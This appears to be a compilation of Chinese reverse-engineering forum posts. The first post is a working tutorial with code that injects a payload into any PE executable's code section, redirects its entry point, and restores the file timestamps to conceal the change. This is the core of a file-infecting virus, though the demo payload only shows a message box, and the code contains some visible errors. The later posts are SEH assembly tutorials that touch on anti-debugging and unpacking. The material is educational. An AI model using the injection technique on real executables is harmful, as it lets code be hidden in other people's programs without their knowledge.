现在让我们把一段代码写入任何一个PE格式的可执行文件，代码如下：
-- test.asm --
.386p
.model flat, stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

.code

start:
INVOKE MessageBoxA,0,0,0,MB_ICONINFORMATION or MB_OK
ret
end start

以上代码只显示一个MessageBox框，编译后得到二进制代码如下：
unsigned char writeline[18]={
0x6a,0x40,0x6a,0x0,0x6a,0x0,0x6a,0x0,0xe8,0x01,0x0,0x0,0x0,0xe9,0x0,0x0,0x0,0x0
};

好，现在让我们看看该把这些代码写到那。现在用Tdump.exe显示一个PE格式得可执行文件信息，可以发现如下描述：
Object table:
#  Name      VirtSize    RVA    PhysSize
  Phys off  Flags
--  --------  --------  --------  --------  --------
  --------
01  .text    0000CCC0  00001000  0000CE00  00000600
  60000020 [CER]
02  .data    00004628  0000E000  00002C00  0000D400
  C0000040 [IRW]
03  .rsrc    000003C8  00013000  00000400  00010000
  40000040 [IR]

Key to section flags:
C - contains code
E - executable
I - contains initialized data
R - readable
W - writeable

上面描述此文件中存在3个段及每个段得信息，实际上我们的代码可以写入任何一个段，这里我选择“.text”段。

用如下代码得到一个PE格式可执行文件的头信息：

//writePE.cpp

#include <windows.h>
#include <stdio.h>
#include <io.h>
#include <fcntl.h>
#include <time.h>
#include <SYS\STAT.H>

unsigned char writeline[18]={
0x6a,0x40,0x6a,0x0,0x6a,0x0,0x6a,0x0,0xe8,0x01,0x0,0x0,0x0,0xe9,0x0,0x0,0x0,0x0
};

DWORD space;
DWORD entryaddress;
DWORD entrywrite;
DWORD progRAV;
DWORD oldentryaddress;
DWORD newentryaddress;
DWORD codeoffset;
DWORD peaddress;
DWORD flagaddress;
DWORD flags;

DWORD virtsize;
DWORD physaddress;
DWORD physsize;
DWORD MessageBoxAadaddress;

int main(int argc,char * * argv)
{
HANDLE hFile, hMapping;
void *basepointer;
FILETIME * Createtime;
FILETIME * Accesstime;
FILETIME * Writetime;
Createtime = new FILETIME;
Accesstime = new FILETIME;
Writetime = new FILETIME;

if ((hFile = CreateFile(argv[1], GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
  0, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0)) == INVALID_HANDLE_VALUE)//打开要修改的文件
{
puts("(could not open)");
return EXIT_FAILURE;
}
if(!GetFileTime(hFile,Createtime,Accesstime,Writetime))
{
printf("\nerror getfiletime: %d\n",GetLastError());
}
//得到要修改文件的创建、修改等时间
if (!(hMapping = CreateFileMapping(hFile, 0, PAGE_READONLY | SEC_COMMIT, 0,
  0, 0)))
{
puts("(mapping failed)");
CloseHandle(hFile);
return EXIT_FAILURE;
}
if (!(basepointer = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0)))
{
puts("(view failed)");
CloseHandle(hMapping);
CloseHandle(hFile);
return EXIT_FAILURE;
}
//把文件头映象存入baseointer
CloseHandle(hMapping);
CloseHandle(hFile);
map_exe(basepointer);//得到相关地址
UnmapViewOfFile(basepointer);
printaddress();
printf("\n\n");
if(space<50)
{
printf("\n空隙太小,数据不能写入.\n");
}
else
{
writefile();//写文件
}

if ((hFile = CreateFile(argv[1], GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
  0, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0)) == INVALID_HANDLE_VALUE)
{
puts("(could not open)");
return EXIT_FAILURE;
}

if(!SetFileTime(hFile,Createtime,Accesstime,Writetime))
{
printf("error settime : %d\n",GetLastError());
}
//恢复修改后文件的建立时间等
delete Createtime;
delete Accesstime;
delete Writetime;
CloseHandle(hFile);
return 0;
}

void map_exe(const void *base)
{
IMAGE_DOS_HEADER * dos_head;
dos_head =(IMAGE_DOS_HEADER *)base;
#include <pshpack1.h>
typedef struct PE_HEADER_MAP
{
DWORD signature;
IMAGE_FILE_HEADER _head;
IMAGE_OPTIONAL_HEADER opt_head;
IMAGE_SECTION_HEADER section_header[];
} peHeader;
#include <poppack.h>

if (dos_head->e_magic != IMAGE_DOS_SIGNATURE)
{
puts("unknown type of file");
return;
}

peHeader * header;
header = (peHeader *)((char *)dos_head + dos_head->e_lfanew);//得到PE文件头
if (IsBadReadPtr(header, sizeof(*header))
{
puts("(no PE header, probably DOS executable)");
return;
}

DWORD mods;
char tmpstr[4]={0};
DWORD  tmpaddress;
DWORD  tmpaddress1;

if(strstr((const char *)header->section_header[0].Name,".text")!=NULL)
{
virtsize=header->section_header[0].Misc.VirtualSize;
//此段的真实长度
physaddress=header->section_header[0].PointerToRawData;
//此段的物理偏移
physsize=header->section_header[0].SizeOfRawData;
//此段的物理长度
peaddress=dos_head->e_lfanew;
//得到PE文件头的开始偏移

peHeader peH;
tmpaddress=(unsigned long )&peH;
//得到结构的偏移
tmpaddress1=(unsigned long )&(peH.section_header[0].Characteristics);
//得到变量的偏移
flagaddress=tmpaddress1-tmpaddress+2;
//得到属性的相对偏移
flags=0x8000;
//一般情况下，“.text”段是不可读写的，如果我们要把数据写入这个段需要改变其属性，实际上这个程序并没有把数据写入“.text”段，所以并不需要更改，但如果你实现复杂的功能，肯定需要数据，肯定需要更改这个值，

space=physsize-virtsize;
//得到代码段的可用空间，用以判断可不可以写入我们的代码
//用此段的物理长度减去此段的真实长度就可以得到
progRAV=header->opt_head.ImageBase;
//得到程序的装载地址，一般为400000
codeoffset=header->opt_head.BaseOfCode-physaddress;
//得到代码偏移，用代码段起始RVA减去此段的物理偏移
//应为程序的入口计算公式是一个相对的偏移地址，计算公式为：
//代码的写入地址＋codeoffset

entrywrite=header->section_header[0].PointerToRawData+header->section_header[0].Misc.VirtualSize;
//代码写入的物理偏移
mods=entrywrite%16;
//对齐边界
if(mods!=0)
{
entrywrite+=(16-mods);
}
oldentryaddress=header->opt_head.AddressOfEntryPoint;
//保存旧的程序入口地址
newentryaddress=entrywrite+codeoffset;
//计算新的程序入口地址
return;
}

void printaddress()
{
HINSTANCE gLibMsg=NULL;
DWORD funaddress;
gLibMsg=LoadLibrary("user32.dll");
funaddress=(DWORD)GetProcAddress(gLibMsg,"MessageBoxA");
MessageBoxAadaddress=funaddress;
gLibAMsg=LoadLibrary("kernel32.dll");
//得到MessageBox在内存中的地址，以便我们使用
}

void writefile()
{
int ret;
long retf;
DWORD address;
int tmp;
unsigned char waddress[4]={0};

ret=_open(filename,_O_RDWR | _O_CREAT | _O_BINARY,_S_IREAD | _S_IWRITE);
if(!ret)
{
printf("error open\n");
return;
}

retf=_lseek(ret,(long)peaddress+40,SEEK_SET);
//程序的入口地址在PE文件头开始的40处
if(retf==-1)
{
printf("error seek\n");
return;
}
address=newentryaddress;
tmp=address>>24;
waddress[3]=tmp;
tmp=address<<8;
tmp=tmp>>24;
waddress[2]=tmp;
tmp=address<<16;
tmp=tmp>>24;
waddress[1]=tmp;
tmp=address<<24;
tmp=tmp>>24;
waddress[0]=tmp;
retf=_write(ret,waddress,4);
//把新的入口地址写入文件
if(retf==-1)
{
printf("error write: %d\n",GetLastError());
return;
}

retf=_lseek(ret,(long)entrywrite,SEEK_SET);
if(retf==-1)
{
printf("error seek\n");
return;
}
retf=_write(ret,writeline,18);
if(retf==-1)
{
printf("error write: %d\n",GetLastError());
return;
}
//把writeline写入我们计算出的空间

retf=_lseek(ret,(long)entrywrite+9,SEEK_SET);
//更改MessageBox函数地址，它的二进制代码在writeline[10]处
if(retf==-1)
{
printf("error seek\n");
return;
}

address=MessageBoxAadaddress-(progRAV+newentryaddress+9+4);
//重新计算MessageBox函数的地址，MessageBox函数的原地址减去程序的装载地址加上新的入口地址加9（它的二进制代码相对偏移）加上4（地址长度）
tmp=address>>24;
waddress[3]=tmp;
tmp=address<<8;
tmp=tmp>>24;
waddress[2]=tmp;
tmp=address<<16;
tmp=tmp>>24;
waddress[1]=tmp;
tmp=address<<24;
tmp=tmp>>24;
waddress[0]=tmp;
retf=_write(ret,waddress,4);
//写入重新计算的MessageBox地址
if(retf==-1)
{
printf("error write: %d\n",GetLastError());
return;
}

retf=_lseek(ret,(long)entrywrite+14,SEEK_SET);
//更改返回地址，用jpm返回原程序入口地址，其它的二进制代码在writeline[15]处
if(retf==-1)
{
printf("error seek\n");
return;
}

address=0-(newentryaddress-oldentryaddress+4+15);
//返回地址计算的方法是新的入口地址减去老的入口地址加4（地址长度）加15（二进制代码相对偏移）后取反
tmp=address>>24;
waddress[3]=tmp;
tmp=address<<8;
tmp=tmp>>24;
waddress[2]=tmp;
tmp=address<<16;
tmp=tmp>>24;
waddress[1]=tmp;
tmp=address<<24;
tmp=tmp>>24;
waddress[0]=tmp;
retf=_write(ret,waddress,4);
//写入返回地址
if(retf==-1)
{
printf("error write: %d\n",GetLastError());
return;
}

_close(ret);
printf("\nall done...\n");
return;
}

//end
由于在PE格式的文件中，所有的地址都使用RVA地址，所以一些函数调用和返回地址都要经过计算才可以得到，以上是我在实践中的心得，如果你有更好的办法，真心的希望你能告诉我。

如果存在错误，请告诉我，以免误导看这篇文章的人。
写的较乱，请原谅。

ilsy@netguard.com.cn


SEH in ASM 研究

 标 题:SEH in ASM 研究(一) (7千字)
发信人:hume
时 间:2001-12-29 10:25:20
详细信息:
SEH in ASM 研究(一)
By Hume/冷雨飘心

为什么老调重弹:
SEH出现已绝非一日,但很多人可能还不彻底了解Seh的运行机制;有关seh的知识资料不是很多,asm级的详细资料就
更少!seh不仅可以简化程序错误处理,使你的程序更加健壮,还被广泛应用于反跟踪以及加解密中,因此,了解seh非常必要,
但遗憾的是关于seh详细介绍的中文资料非常少,在实践的基础上,把自己学习的一点笔记奉献给大家,希望对喜欢ASM的朋
友有所帮助.如有错误,请高手不吝指正.

PART I 简单接触

一、SEH背景知识
SEH("Structured Exception Handling"),即结构化异常处理.是操作系统提供给程序设计者的强有力的处理程序错
误或异常的武器.在VISUAL C++中你或许已经熟悉了_try{} _finally{} 和_try{} _except {} 结构,这些并不是
编译程序本身所固有的,本质上只不过是对windows内在提供的结构化异常处理的包装,不用这些高级语言编译器所提供
的包装 ,照样可以利用系统提供的强大seh处理功能,在后面你将可以看到,用系统本身提供seh结构和规则以及ASM语言,
我们将对SEH的机制以及实现有一个彻底的了解.

发生异常时系统的处理顺序(by Jeremy Gordon):

1.系统首先判断异常是否应发送给目标程序的异常处理例程,如果决定应该发送,并且目标程序正在被调试,则系统
挂起程序并向调试器发送EXCEPTION_DEBUG_EVENT消息.呵呵,这不是正好可以用来探测调试器的存在吗?

2.如果你的程序没有被调试或者调试器未能处理异常,系统就会继续查找你是否安装了线程相关的异常处理例程,如果
你安装了线程相关的异常处理例程,系统就把异常发送给你的程序seh处理例程,交由其处理.

3.每个线程相关的异常处理例程可以处理或者不处理这个异常,如果他不处理并且安装了多个线程相关的异常处理例程,
可交由链起来的其他例程处理.

4.如果这些例程均选择不处理异常,如果程序处于被调试状态,操作系统仍会再次挂起程序通知debugger.

5.如果程序未处于被调试状态或者debugger没有能够处理,并且你调用SetUnhandledExceptionFilter安装了最后异
常处理例程的话,系统转向对它的调用.

6.如果你没有安装最后异常处理例程或者他没有处理这个异常,系统会调用默认的系统处理程序,通常显示一个对话框,
你可以选择关闭或者最后将其附加到调试器上的调试按钮.如果没有调试器能被附加于其上或者调试器也处理不了,系统
就调用ExitProcess终结程序.

7.不过在终结之前,系统仍然对发生异常的线程异常处理句柄来一次展开,这是线程异常处理例程最后清理的机会.

如果你看了上面的步骤一头雾水的话,别着急,化点时间慢慢理解或者进入下一部分实例操作.

二.初步实战演习:

安装异常处理句柄.

有两种类型的异常处理句柄,一种是final型的,这是在你的异常未能得到线程相关处理例程处理操作系统在即将关闭程序之前会
回调的例程,这个例程是进程相关的而不是线程相关的,因此无论是哪个线程发生异常未能被处理,都会调用这个例程.
I. 见下面的例子1:
;//================================例子1---final型的异常处理=================
;// ex. 1,by Hume,2001,just copy make your own hd.h and compile&link
;//========================================================================
.386
.model flat, stdcall
option casemap :none ; case sensitive
include hd.h ;//相关的头文件，你自己维护一个吧
;//============================
.data
szCap db "By Hume[AfO],2001...",0
szMsgOK db "OK,the exceptoin was handled by final handler!",0
szMsgERR1 db "It would never Get here!",0
buff db 200 dup(0)

.code
_start:
;//========prog begin====================
lea eax,Final_Handler
invoke SetUnhandledExceptionFilter,eax ;//调用SetUnhandledExceptionFilter来安装final SEH
;//原型很简单SetUnhandledExceptionFilter proto
;//pTopLevelExceptionFilter:DWORD
xor ecx,ecx
mov eax,200
cdq
div ecx
;//以下永远不会被执行
invoke MessageBox,NULL,addr szMsgERR1,addr szCap,MB_OK+MB_ICONEXCLAMATION
invoke ExitProcess,NULL

;//============================
Final_Handler:
invoke MessageBox,NULL,addr szMsgOK,addr szCap,MB_OK+MB_ICONEXCLAMATION
mov eax,EXCEPTION_EXECUTE_HANDLER ;//==1 这时不出现非法操作的讨厌对话框
;mov eax,EXCEPTION_CONTINUE_SEARCH ;//==0 出现,这时是调用系统默认的异常处理过程,程序被终结了
;mov eax,EXCEPTION_CONTINUE_EXECUTION ;//==-1 不断出现对话框,你将陷入死循环,可别怪我
ret ;因为我们并没有修复ecx,所以不断产生异常,然后不断调用这个例程

;//=============================Prog Ends==============
end _start
COMMENT $
简单来解释几句,windows根据你的异常处理程序的返回值来决定如何进一步处理
EXCEPTION_EXECUTE_HANDLER equ 1 表示我已经处理了异常,可以优雅地结束了
EXCEPTION_CONTINUE_SEARCH equ 0 表示我不处理,其他人来吧,于是windows调用默认的处理程序
显示一个错误框,并结束
EXCEPTION_CONTINUE_EXECUTION equ -1 表示错误已经被修复,请从异常发生处继续执行
你可以试着让程序返回0和-1然后编译程序,就会理解我所有苍白无力的语言...
$

;//========================================================================

II.另一种是per_Thread Exception Handler->线程相关的异常处理,通常每个线程初始化准备好运行时fs指向一个TIB结构
(THREAD INFORMATION BLOCK),这个结构的第一个元素fs:[0]指向一个_EXCEPTION_REGISTRATION结构
后面_EXCEPTION_REGISTRATION为了简化,用ERR来代替这个结构...不要说没见过啊...
fs:[0]->
_EXCEPTION_REGISTRATION struc
prev dd ? ;前一个_EXCEPTION_REGISTRATION结构
handler dd ? ;异常处理例程入口....呵呵,现在明白该怎么作了吧
_EXCEPTION_REGISTRATION ends
我们可以建立一个ERR结构然后将fs:[0]换成指向他的指针,当然最常用的是堆栈,如果你用静态内存区也可以,没有人阻止你
在asm世界,放心地干吧,除了多S几次之外,通常不会有更大的损失
把handler域换成你的程序入口,就可以在发生异常时调用你的代码了,好马上实践一下,见例子2
;//========================================================================
;// ex. 2,by Hume,2001 线程相关的异常处理
;//========================================================================
.386
.model flat, stdcall
option casemap :none ; case sensitive
include hd.h ;//相关的头文件，你自己维护一个吧
;//============================
.data
szCap db "By Hume[AfO],2001...",0
szMsgOK db "It's now in the Per_Thread handler!",0
szMsgERR1 db "It would never Get here!",0
buff db 200 dup(0)

.code
_start:
;//========prog begin====================
ASSUME FS:NOTHING
push offset perThread_Handler
push fs:[0]
mov fs:[0],esp ;//建立SEH的基本ERR结构,如果不明白,就仔细研究一下吧
xor ecx,ecx
mov eax,200
cdq
div ecx
;//以下永远不会被执行
invoke MessageBox,NULL,addr szMsgERR1,addr szCap,MB_OK+MB_ICONINFORMATION
pop fs:[0]
add esp,4
invoke ExitProcess,NULL

;//============================
perThread_Handler:
invoke MessageBox,NULL,addr szMsgOK,addr szCap,MB_OK+MB_ICONINFORMATION
mov eax,1 ;//ExceptionContinueSearch,不处理,由其他例程或系统处理
;mov eax,0 ;//ExceptionContinueExecution,表示已经修复CONTEXT,可从异常发生处继续执行
ret ;//这里如果返回0,你会陷入死循环,不断跳出对话框....

;//=============================Prog Ends==============
end _start
COMMENT $
嘿嘿,这个简单吧,我们由于没有足够的资料,暂时还不能修复ecx的值使之从异常发生处继续执行,只是简单显示一个MSG,然后
让系统处理,自然跳出讨厌的对话框了....
注意和final返回值的含义不同...
$
;//==================================================================================================

好像到此为止,我们并没有从异常处理中得到任何好处,除了在异常发生后可以执行一点我们微不足道的代码,事实上SEH可以修复这些
异常或者干我们想干的事情然后从希望的地方继续执行,嘿嘿,很爽吧,可惜我们没有足够的信息,那里找到我们所需要的信息?
欲知后事如何,且看下回分解...

PARTII 继续深入
....(待续,睡个觉先)

标 题:SEH in ASM 研究(二) (6千字)
发信人:hume
时 间:2001-12-29 11:54:47
详细信息:

PART II 继续深入

三、传递给异常处理句柄的参数

要想明白seh处理例程如何得到感兴趣的信息,首先要明白SEH的作用机制.事实上,当异常
发生时,系统给了我们一个处理异常的机会,他首先会调用我们自定义的seh处理例程,当然也包括
了相关信息,在调用之前,系统把包含这些信息结构的指针压入stack,供我们的异常处理例程调用,
传递给例程的参数通常是四个,其中只有三个有明确意义,另一个到现在为止还没有发现有什么作用,
这些参数是:pExcept:DWORD,pErr:DWORD,pContext:DWORD,pDispatch意义如下:
pExcept: --- EXCEPTION_RECORD结构的指针
pErr: --- 前面ERR结构的指针
pContext: --- CONTEXT结构的指针
pDispatch:---没有发现有啥意义

ERR结构是前面介绍的_EXCEPTION_REGISTRATION结构,往前翻翻,Dispatch省略,下面介绍
EXCEPTION_RECORD和CONTEXT结构的定义:

;//================================以下是两个成员的详细结构========================================

EXCEPTION_RECORD STRUCT
ExceptionCode DWORD ? ;//异常码
ExceptionFlags DWORD ? ;//异常标志
pExceptionRecord DWORD ? ;//指向另外一个EXCEPTION_RECORD的指针
ExceptionAddress DWORD ? ;//异常发生的地址
NumberParameters DWORD ? ;//下面ExceptionInformation所含有的dword数目
ExceptionInformation DWORD EXCEPTION_MAXIMUM_PARAMETERS dup(?)
EXCEPTION_RECORD ENDS ;//EXCEPTION_MAXIMUM_PARAMETERS ==15

;//================================具体解释========================================

ExceptionCode 异常类型,SDK里面有很多类型,你可以在windows.inc里查找STATUS_来找到更多
的异常类型,下面只给出hex值,具体标识定义请查阅windows.inc,你最可能遇到的几种类型如下:

C0000005h----读写内存冲突
C0000094h----非法除0
C00000FDh----堆栈溢出或者说越界
80000001h----由Virtual Alloc建立起来的属性页冲突
C0000025h----不可持续异常,程序无法恢复执行,异常处理例程不应处理这个异常
C0000026h----在异常处理过程中系统使用的代码,如果系统从某个例程莫名奇妙的返回,则出现此代码,
如果RtlUnwind时没有Exception Record参数也同样会填入这个代码
80000003h----调试时因代码中int3中断
80000004h----处于被单步调试状态

注:也可以自己定义异常代码,遵循如下规则:
_____________________________________________________________________+

位: 31~30 29~28 27~16 15~0
_____________________________________________________________________+
含义: 严重程度 29位 功能代码 异常代码
0==成功 0==Mcrosoft MICROSOFT定义 用户定义
1==通知 1==客户
2==警告 28位
3==错误 被保留必须为0
ExceptionFlags 异常标志
0----可修复异常
1----不可修复异常
2----正在展开,不要试图修复什么,需要的话,释放必要的资源
pExceptionRecord 如果程序本身导致异常,指向那个异常结构
ExceptionAddress 发生异常的eip地址
ExceptionInformation 附加消息,在调用RaiseException可指定或者在异常号为C0000005h即内存异常时含义如下
第一个dword 0==读冲突 1==写冲突
第二个dword 读写冲突地址
;//================================解释结束========================================
off.
CONTEXT STRUCT ; _
ContextFlags DWORD ? ; | +0
iDr0 DWORD ? ; | +4
iDr1 DWORD ? ; | +8
iDr2 DWORD ? ; >调试寄存器 +C
iDr3 DWORD ? ; | +10
iDr6 DWORD ? ; | +14
iDr7 DWORD ? ; _| +18
FloatSave FLOATING_SAVE_AREA <> ;浮点寄存器区 +1C~~~88h
regGs DWORD ? ;--| +8C
regFs DWORD ? ; |\段寄存器 +90
regEs DWORD ? ; |/ +94
regDs DWORD ? ;--| +98
regEdi DWORD ? ;____________ +9C
regEsi DWORD ? ; | 通用 +A0
regEbx DWORD ? ; | 寄 +A4
regEdx DWORD ? ; | 存 +A8
regEcx DWORD ? ; | 器 +AC
regEax DWORD ? ;_______|___组_ +B0
regEbp DWORD ? ;++++++++++++++++ +B4
regEip DWORD ? ; |控制 +B8
regCs DWORD ? ; |寄存 +BC
regFlag DWORD ? ; |器组 +C0
regEsp DWORD ? ; | +C4
regSs DWORD ? ;++++++++++++++++ +C8
ExtendedRegisters db MAXIMUM_SUPPORTED_EXTENSION dup(?)
CONTEXT ENDS
;//================================以上是两个成员的详细结构========================================

I、传递给final句柄的参数,只有两个可描述为EXCEPTION_POINTERS结构,定义如下:
EXCEPTION_POINTERS STRUCT
pExceptionRecord DWORD ?
ContextRecord DWORD ?
EXCEPTION_POINTERS ENDS

在call xHandler之前,堆栈结构如下:
esp -> *EXCEPTION_RECORD
esp+4 -> *CONTEXT record ;//具体结构见下面

然后执行call _Final_Handler,这样在程序里要调用什么不轻而易举了吗?

II、 传递给per_thread句柄的参数,如下:
在call xHandler之前,在堆栈中形成如下结构
esp -> *EXCEPTION_RECORD
esp+4 -> *ERR ;//注意这也就是fs:[0]的指向
esp -> *CONTEXT record ;//point to registers
esp -> *Param ;//呵呵,没有啥意义

然后执行 call _Per_Thread_Handler

调用handler的原型是这样
invoke HANDLER,*EXCEPTION_RECORD,*_EXCEPTION_REGISTRATION,*CONTEXT record,*Param
即编译代码如下:
PUSH *Param ;//通常不重要,没有什么意义
push *CONTEXT record ;//上面的结构
push *ERR ;//the struc above
push *EXCEPTION_RECORD ;//see above
CALL HANDLER
ADD ESP,10h

好现在你明白了应该如何访问具体有关系统信息的细节了吧,下一部分,让我们来看看如何应用...(待续)

标 题:一家之言，一种利用SEH技术脱壳的思路。 (699字)
发信人:idtemu
时 间:2001-12-29 17:30:24
详细信息:

利用Apihook到进程的入口，建立自己的SEH链表，在SEH的异常处理程序中建立Debuger功能，\（也就是修改Context.Eflags的TF标志，然后单步异常时重新修改该标志\），有了这个粗糙的Debuger，我们可以在让其在单步中断到SIDT指令时修改SIDT指令的结果，让其取的是自己建立的一个假的IDTR植，同时自己建立一个假的IDT表，这样程序修改的将是自己的假IDT表，如果程序想int 3或int 1来反跟踪的话，就会发生异常，我们又可以处理以下了。。。。，然后如果只是为了脱壳的话，就HOOK到某个API或则修改程序的某处代码为INT3，然后在异常处理程序中处理开始脱壳。特殊一点如果你想让利用修改IDT进入Ring0进行反跟踪的加壳的程序在NT下执行的话，也可以模拟一个它需要的环境给他吧:-)当然这中方法有一定的局限性.

SEH不仅仅是加壳者的宝刀，也是脱壳者的利箭。


SEH IN ASM 研究(二)

 标 题:SEH IN ASM 研究(二)---提高篇:关于异常处理的嵌套和堆栈展开 (15千字)
发信人:hume
时 间:2002-1-28 8:26:20
详细信息:
SEH IN ASM 研究(二)
---提高篇
By Hume[AfO]/冷雨飘心

part 4 关于异常处理的嵌套和堆栈展开

在实际程序设计过程中,不可能只有一个异常处理例程,这就产生了异常处理程序嵌套的问题,可能很多
处理例程分别监视若干子程序并处理其中某种异常,另外一个监视所有子程序可能产生的共性异常,这作
起来实际很容易,也方便调试.你只要依次建立异常处理框架就可以了.
关于VC++异常处理可以嵌套很多人可能比较熟悉,用起来更容易不过实现比这里也就复杂得多,在VC++
中一个程序所有异常只指向一个相同的处理句例程,然后在这个处理例程里再实现对各个子异常处理例程的
调用,他的大致方法是建立一个子异常处理例程入口的数组表,然后根据指针来调用子处理例程,过程比较烦
琐,原来打算大致写一点,现在发现自己对C/C++了解实在太少,各位有兴趣还是自己
参考MSDN Matt Pietrek 1996年写的一篇文章<
ctured Exception Handling>>,里面有非常详细的说明,对于系统的实现细节也有所讨论,不过相信很多
人都没有兴趣.hmmm...:)实际上Kernel的异常处理过程和VC++的很相似.

有异常嵌套就涉及到异常展开的问题,也许你注意到了如果按照我前面的例子包括final都不处理异常的话,
最后系统在终结程序之前会来一次展开,在试验之后发现,展开不会调用final只是对per_thread例程展开
(right?).什么是堆栈展开?为什么要进行堆栈展开?如何进行堆栈展开?

我曾经为堆栈展开迷惑过,原因是各种资料的描述很不一致,Matt Pietrek说展开后前面的ERR结构被释放,
并且好像链后面如果决定处理必须展开,很多C/C++讲述异常处理的书也如斯说这使人很迷惑,我们再来看看Jeremy
Gordon的描述,堆栈展开是处理异常的例程自愿进行的.呵呵,究竟事实如何?

在迷惑好久之后我终于找到了答案:Matt Pietrek讲的没有错,那是VC++以及系统kernel的处理方法,Jeremy
Gordon说的也是正确的,那是我门asm Fans的自由!

好了现在来说堆栈展开,堆栈展开是异常处理例程在决定处理某个异常的时候给前面不处理这个异常的处理
例程的一个清洗的机会,前面拒绝处理这个异常的例程可以释放必要的句柄对象或者释放堆栈或者干点别的工作...
那完全是你的自由,叫stack unwind似乎有点牵强.堆栈展开有一个重要的标志就是
EXCEPTION_RECORD.ExceptionFlag为2,表示正在展开,你可以进行相应的处理工作,但实际上经常用的是6这是
因为还有一个UNWIND_EXIT什么的,具体含义我也没有搞明白,不过对我们的工作好像没有什么影响.

注意在自己的异常处理例程中,unwind不是自动的,必须你自己自觉地引发,如果所有例程都不处理系统最后的
展开是注定的,当然如果没有必要你也可以不展开.
win32提供了一个api RtlUnwind来引发展开,如果你想展开一下,就调用这个api吧,少候讲述自己代码如何展开

RtlUnwind调用描述如下:
PUSH Return value ;返回值,一般不用
PUSH pExceptionRecord ;指向EXCEPTION_RECORD的指针
PUSH OFFSET CodeLabel ;展开后从哪里执行
PUSH LastStackFrame ;展开到哪个处理例程终止返回,通常是处理异常的Err结构
CALL RtlUnwind
调用这个api之前要注意保护ebx,esi和edi,否则...嘿嘿

MASM格式如下:
invoke RtlUnwind,pFrame,OFFSET return_code_Address,pExceptionRecord,Return_value

这样在展开的时候,就以pExceptionRecord.flag=2 依次调用前面的异常处理例程,到决定异常的处理例程停止,
Jeremy Gordon手动展开代码和我下面的例子有所不同.他描述最后决定处理异常的ERR结构的prev成员为-1,好像
我的结果和他的有所差异,因此采用了另外的方法,具体看下面的例子.

最后一点要注意在嵌套异常处理程序的时候要注意保存寄存器,否则你经常会得到系统异常代码为C00000027h
的异常调用,然后就是被终结.

一下给出一点垃圾代码演示可能有助于理解,注意link的时候要加入 /section:.text,RWE 否则例子里面的
代码段不能写,SMC功能会产生异常以致整个程序不能进行.

注意:2K/XP下非法指令异常的代码不一致,另外用下面的方法SMC代码段也不可以!不知如何解决?
只用于9X,为了在2k/Xp下也能运行我加了点代码,有兴趣看看,另外帮我解决一下2K/Xp下SMC的问题?thx!

下面例子很烂,不过MASM格式写起来容易一点,也便于理解.
;-----------------------------------------
;Ex4,演示堆栈展开和异常嵌套处理 by Hume,2002
;humewen@21cn.com
;hume.longcity.net
;-----------------------------------------
.586
.model flat, stdcall
option casemap :none ; case sensitive
include hd.h
include mac.h

;;--------------
per_xHandler1 proto C :DWORD,:DWORD,:DWORD,:DWORD
per_xHandler2 proto C :DWORD,:DWORD,:DWORD,:DWORD
per_xHandler3 proto C :DWORD,:DWORD,:DWORD,:DWORD
;-----------------------------------------

.data
sztit db "except Mess,by hume[AfO]",0
count dd 0,0
Expt1_frm dd 0 ;ERR结构指针,用于堆栈展开手动代码
Expt2_frm dd 0
Expt3_frm dd 0

;;-----------------------------------------
.CODE
_Start:
assume fs:nothing
push offset per_xHandler3
push fs:[0]
mov fs:[0],esp
mov Expt3_frm,esp

push offset per_xHandler2
push fs:[0]
mov fs:[0],esp
mov Expt2_frm,esp

push offset per_xHandler1
push fs:[0]
mov fs:[0],esp
mov Expt1_frm,esp
;--------------------------
;install xhnadler
;-----------------------------------------

xor ebx,ebx
mov eax,200
cdq
div ebx ;除法错误

invoke MessageBox,0,ddd("Good,divide overflow was solved!"),addr sztit,40h

sub eax,eax
mov [eax],ebx ;内存写错误

succ:
invoke MessageBox,0,ddd("Good,memory write violation solved!"),addr sztit,40h

db 0F0h,0Fh,0C7h,0C8h ;什么cmpchg8b指令的非法形式?我从来没有成功过!!
;演示程序中使用seh实现SMC技术,加密??...
invoke MessageBox,0,ddd("illeagal instruction was solved!"),addr sztit,20h
;--------------------------
;uninstall xhnadler
;-----------------------------------------

pop fs:[0]
add esp,4
pop fs:[0]
add esp,4
;或者add esp,10h

pop fs:[0]
add esp,4

invoke ExitProcess,0
;-----------------------------------------
;异常处理句柄1,处理除法异常错误
per_xHandler1 PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
pushad
MOV ESI,pExcept
ASSUME ESI:PTR EXCEPTION_RECORD
TEST [ESI].ExceptionFlags,1
JNZ @cantdo1
TEST [ESI].ExceptionFlags,6
JNZ @unwind1
CMP [ESI].ExceptionCode,0C0000094h
JNZ @cantdo1
MOV EDI,pContext

ASSUME EDI:PTR CONTEXT
m2m [edi].regEbx,20 ;将ebx置20,修复除法错误,继续执行
popad
MOV EAX, ExceptionContinueExecution
RET

@unwind1:
invoke MessageBox,0,CTEXT("state: unwinding in xhandler1..."),addr sztit,0
@cantdo1:
popad
MOV EAX,ExceptionContinueSearch
RET
per_xHandler1 ENDP
;-----------------------------------------
;异常处理句柄2,处理内存写错误,扩展可以有其他的例子如自动扩充堆栈
per_xHandler2 PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD

pushad
MOV ESI,pExcept
ASSUME ESI:PTR EXCEPTION_RECORD
MOV EDI,pContext
ASSUME EDI:PTR CONTEXT

call Dispcont ;显示一点lame的消息,自己调试用

TEST [ESI].ExceptionFlags,1
JNZ @cantdo2
TEST [ESI].ExceptionFlags,6
JNZ @unwind2
CMP [ESI].ExceptionCode,0C0000005h
JNZ @cantdo2
.data ;ASM的数据定义灵活性,如果需要这是可以的
validAddress dd 0
.code

m2m [EDI].regEax,<offset validAddress> ;置eax为有效地址
popad
MOV EAX, ExceptionContinueExecution
RET

@unwind2:
invoke MessageBox,0,CTEXT("hmmm... unwinding in xhandler2..."),addr sztit,40h
@cantdo2:
popad
MOV EAX,ExceptionContinueSearch
RET
per_xHandler2 ENDP
;-----------------------------------------

